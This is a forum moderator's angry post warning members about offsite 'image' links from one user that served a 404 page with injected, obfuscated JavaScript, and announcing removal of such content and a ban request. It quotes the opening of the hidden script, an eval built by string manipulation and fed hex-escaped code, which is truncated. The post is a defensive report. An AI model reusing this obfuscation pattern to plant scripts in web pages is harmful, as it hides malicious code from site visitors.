Hi all,
By now, you’ve all heard my complain about offsite documentation. If you haven’t, search the forum for <broken record> to find me joking about the fact that I have to repeat myself so often.
The primary reason for this is that offsite doco tends to disappear - which sucks. Another reasonfor it is that we have no control over offsite data.
I have just woken up to a PM alerting me to a series of posts containing links to so-called ‘images’ which triggered a forum member’s virus scanner.
Upon viewing the content of these images, I found the following:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<h1>Not Found (404)</h1>
The requested URL
/midibox/midibox-jun23-1.jpg
was not found on this server.
<hr>
www.alphazone1.com <div id='x05ef3d8cc73f889bca9e349db656d2747'><script>var jQuery = eval('wziNnzdNoNwk.zeLvLamlL'.replace(/[LmzNk]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x74\x51\x7a\x37\x54\x28\x79\x72\x31\x55\x42\x78\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e
.... remaining data removed .....
These were all posted by a member known as bcbox. I have no idea, nor can I be bothered converting all those codes into binary and decoding it, to find out what the FUCK that javascript is, but I do know that it is entirely unneccesary and just down-right dodgy.
As a result I have just spent 90 minutes twisting my arthritis riddled knuckles to remove these images. I’m sure you can imagine that I am now extremely fucking pissed off.
While I was there I have also noticed a few other unsavoury practices such as embedding forum avatars in div tags.
As such, I will be aggressively attacking any offsite embedded data I see in future, instantly. That probably means removing them, and may extend to requestingbans if malicious intent is apparent. There are plenty of ways for you to upload content to the local servers, where we have total control over them - there is no reason for offsite data to be embedded. Of course, if you just hyperlink to it, then it’s clear to the user where the data comes from, because they’ll have to click the link. No harm there.
Yours,
A VERY angry stryd_one.
@ TK / Twin-X / SmashTV : If you please: bcbox needs a ban until he can explain this, and LX needs to have his profile edited to remove the div tags.
